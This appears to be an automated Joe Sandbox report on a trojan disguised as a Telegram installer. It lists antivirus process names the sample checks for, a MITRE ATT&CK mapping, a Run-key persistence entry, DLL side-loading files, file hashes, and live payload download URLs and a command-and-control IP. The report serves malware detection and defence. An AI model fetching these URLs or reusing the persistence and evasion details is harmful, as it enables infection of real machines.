Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A074565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_000002B58A074565
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: 4_2_000002B58A072C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_000002B58A072C00

Source: C:\ProgramData\vzobo\arphaCrashReport64.exe

Code function: 3_2_00007FF60017FC70 cpuid

3_2_00007FF60017FC70

Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: EnumSystemLocalesA,	0_2_0363D290
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: EnumSystemLocalesA,	0_2_0363D1F8
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	0_2_0363D0C8
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	0_2_03639FFC
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	0_2_0363E600
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: GetLocaleInfoW,	0_2_0363CD68
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	0_2_0363CDF8
Source: C:\Users\user\Desktop\Telegrm2.69.exe	Code function: _getptd,GetLocaleInfoA,	0_2_0363CC80
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	3_2_0000021497F3CDF8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	3_2_0000021497F3E600
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	3_2_0000021497F3CD68
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	3_2_0000021497F3CC80
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	3_2_0000021497F3D290
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	3_2_0000021497F3D1F8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	3_2_0000021497F3D0C8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	3_2_0000021497F39FFC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: GetLocaleInfoA,	3_2_00007FF8A8D26D80
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	4_2_000002B58A079FFC
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	4_2_000002B58A07CC80
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	4_2_000002B58A07CD68
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	4_2_000002B58A07E600
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	4_2_000002B58A07CDF8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	4_2_000002B58A07D290
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	4_2_000002B58A07D0C8
Source: C:\ProgramData\vzobo\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	4_2_000002B58A07D1F8

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_036398D0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_036398D0

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_03623560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_03623560

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_036374B8 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_036374B8

Source: C:\Users\user\Desktop\Telegrm2.69.exe

Code function: 0_2_036383F4 HeapCreate,GetVersion,HeapSetInformation,

0_2_036383F4

Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avgnt.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Service Execution	1 Valid Accounts	1 Valid Accounts	1 Software Packing	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	12 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	12 Windows Service	1 Valid Accounts	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Process Injection	1 Virtualization/Sandbox Evasion	LSA Secrets	151 Security Software Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Process Injection	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Telegrm2.69.exe	3%	ReversingLabs
Telegrm2.69.exe	5%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\vzobo\arphaCrashReport64.exe	0%	ReversingLabs
C:\ProgramData\vzobo\arphaCrashReport64.exe	0%	Virustotal		Browse
C:\ProgramData\vzobo\arphaDump64.dll	58%	ReversingLabs	Win64.Trojan.DllHijack
C:\ProgramData\vzobo\arphaDump64.dll	47%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
jerryrat2024.oss-cn-beijing.aliyuncs.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://crl.thawte.com/ThawtePCA.crl0	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/c1eb	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dlll	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com:80/arphaCrashReport64.exe	0%	Avira URL Cloud	safe
https://www.virtualbox.org/	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Virustotal		Browse
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	0%	Virustotal		Browse
https://www.virtualbox.org/	0%	Virustotal		Browse
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Virustotal		Browse
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/y	0%	Avira URL Cloud	safe
http://154.198.53.117:280/	0%	Avira URL Cloud	safe
http://154.198.53.117:280/Test.txt	0%	Avira URL Cloud	safe
http://154.198.53.117:280/5	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe#	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll=C:	0%	Avira URL Cloud	safe
http://154.198.53.117:280/Q	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	1%	Virustotal		Browse
http://jerryrat2024.oss-cn-beijing.aliyuncs.com:80/arphaDump64.dll:	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe#	0%	Virustotal		Browse
http://154.198.53.117:280/Test.txt	0%	Virustotal		Browse
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
http://jerryrat2024.oss-cn-beijing.aliyuncs.com:80/arphaCrashReport64.exe	0%	Virustotal		Browse
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jerryrat2024.oss-cn-beijing.aliyuncs.com	39.97.203.40	true	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/c1eb	Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawtePCA.crl0	Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dlll	Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	Telegrm2.69.exe, 00000000.00000002.3890943306.0000000003A10000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com:80/arphaCrashReport64.exe	Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.virtualbox.org/	arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/y	Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://154.198.53.117:280/	Telegrm2.69.exe, 00000000.00000003.2066764260.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2066727283.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://154.198.53.117:280/Test.txt	Telegrm2.69.exe, 00000000.00000003.2066727283.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://154.198.53.117:280/5	Telegrm2.69.exe, 00000000.00000003.2066764260.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe#	Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	Telegrm2.69.exe, 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890525023.000002B58A088000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.3890297515.000002B589D70000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll=C:	Telegrm2.69.exe, 00000000.00000002.3890943306.0000000003A10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://154.198.53.117:280/Q	Telegrm2.69.exe, 00000000.00000003.2066764260.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com:80/arphaDump64.dll:	Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jerryrat2024.oss-cn-beijing.aliyuncs.com/	Telegrm2.69.exe, 00000000.00000002.3890067021.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp, Telegrm2.69.exe, 00000000.00000003.2764834181.0000000000E99000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
154.198.53.117	unknown	Seychelles		26484	IKGUL-26484US	false
39.97.203.40	jerryrat2024.oss-cn-beijing.aliyuncs.com	China		37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487486
Start date and time:	2024-08-04 12:54:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Telegrm2.69.exe
Detection:	MAL
Classification:	mal68.troj.spyw.evad.winEXE@3/3@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 74% Number of executed functions: 70 Number of non-executed functions: 323
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:55:53	API Interceptor	8171x Sleep call for process: Telegrm2.69.exe modified
06:56:12	API Interceptor	13420x Sleep call for process: arphaCrashReport64.exe modified
12:55:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run izhecx C:\ProgramData\vzobo\arphaCrashReport64.exe
12:55:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run izhecx C:\ProgramData\vzobo\arphaCrashReport64.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jerryrat2024.oss-cn-beijing.aliyuncs.com	file_6c73ff4553d147e39fc35434c1e9e972_2024-07-30_02_54_11_351000.zip	Get hash	malicious	Unknown	Browse	39.97.203.118
	SvpnLong2.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	SvpnLong2.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Supe.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	SgSetup.exe	Get hash	malicious	Unknown	Browse	59.110.190.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	v9.exe	Get hash	malicious	Unknown	Browse	47.97.21.5
	f2.exe	Get hash	malicious	BlackMoon	Browse	120.26.110.170
	f1.exe	Get hash	malicious	Unknown	Browse	120.26.110.170
	1.exe	Get hash	malicious	Unknown	Browse	106.14.228.188
	v9.exe	Get hash	malicious	Unknown	Browse	47.97.21.5
	2.exe	Get hash	malicious	Phisher	Browse	139.196.119.59
	Tomcat.bin.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	b4cbf3ffbd8e152116e72487c3b16f1d.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	uPrsrEVzMP.exe	Get hash	malicious	CobaltStrike	Browse	39.101.36.167
IKGUL-26484US	eqzAg8XVRw.elf	Get hash	malicious	Mirai	Browse	156.249.231.102
	http://bandamazonas.com.br/	Get hash	malicious	Unknown	Browse	45.139.197.93
	http://bandamazonas.com.br/	Get hash	malicious	Unknown	Browse	45.139.197.93
	205.185.120.123-skid.arm7-2024-07-27T10_33_43.elf	Get hash	malicious	Mirai, Moobot	Browse	156.249.231.182
	205.185.120.123-skid.mpsl-2024-07-27T08_45_37.elf	Get hash	malicious	Mirai, Moobot	Browse	156.247.139.136
	https://bet958z.com/	Get hash	malicious	Unknown	Browse	154.198.53.36
	94.156.8.9-skid.arm7-2024-07-23T17_40_10.elf	Get hash	malicious	Mirai, Moobot	Browse	156.238.135.131
	Fzfee1Lgc2.elf	Get hash	malicious	Unknown	Browse	154.205.223.22
	7OFBdUtXsK.elf	Get hash	malicious	Mirai	Browse	156.229.33.55

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\vzobo\arphaCrashReport64.exe	file_6c73ff4553d147e39fc35434c1e9e972_2024-07-30_02_54_11_351000.zip	Get hash	malicious	Unknown	Browse
	SvpnLong2.exe	Get hash	malicious	Unknown	Browse
	SvpnLong2.exe	Get hash	malicious	Unknown	Browse
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\vzobo\arphaDump64.dll	file_6c73ff4553d147e39fc35434c1e9e972_2024-07-30_02_54_11_351000.zip	Get hash	malicious	Unknown	Browse
	SvpnLong2.exe	Get hash	malicious	Unknown	Browse
	SvpnLong2.exe	Get hash	malicious	Unknown	Browse
	Cbrome1.0.exe	Get hash	malicious	Unknown	Browse
	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\vzobo\arphaCrashReport64.exe

Download File

Process:	C:\Users\user\Desktop\Telegrm2.69.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	238384
Entropy (8bit):	6.278635939854228
Encrypted:	false
SSDEEP:	3072:fN9rZ5vuFomptSepjTxUPjfOgwXCtRLDya09M9EvoHmkQ/2Y8L6vVefD:rZ5qomPSeCx7tRNQjSfD
MD5:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
SHA1:	DD63C3D4ACF0CE27F71CCE44B8950180E48E36FA
SHA-256:	E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271
SHA-512:	1B4350D51C2107D0AA22EB01D64E1F1AB73C28114045C388BAF9547CC39A902C8A274A24479C7C2599F94C96F8772E438F21A2849316B5BD7F5D47C26A1E483B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
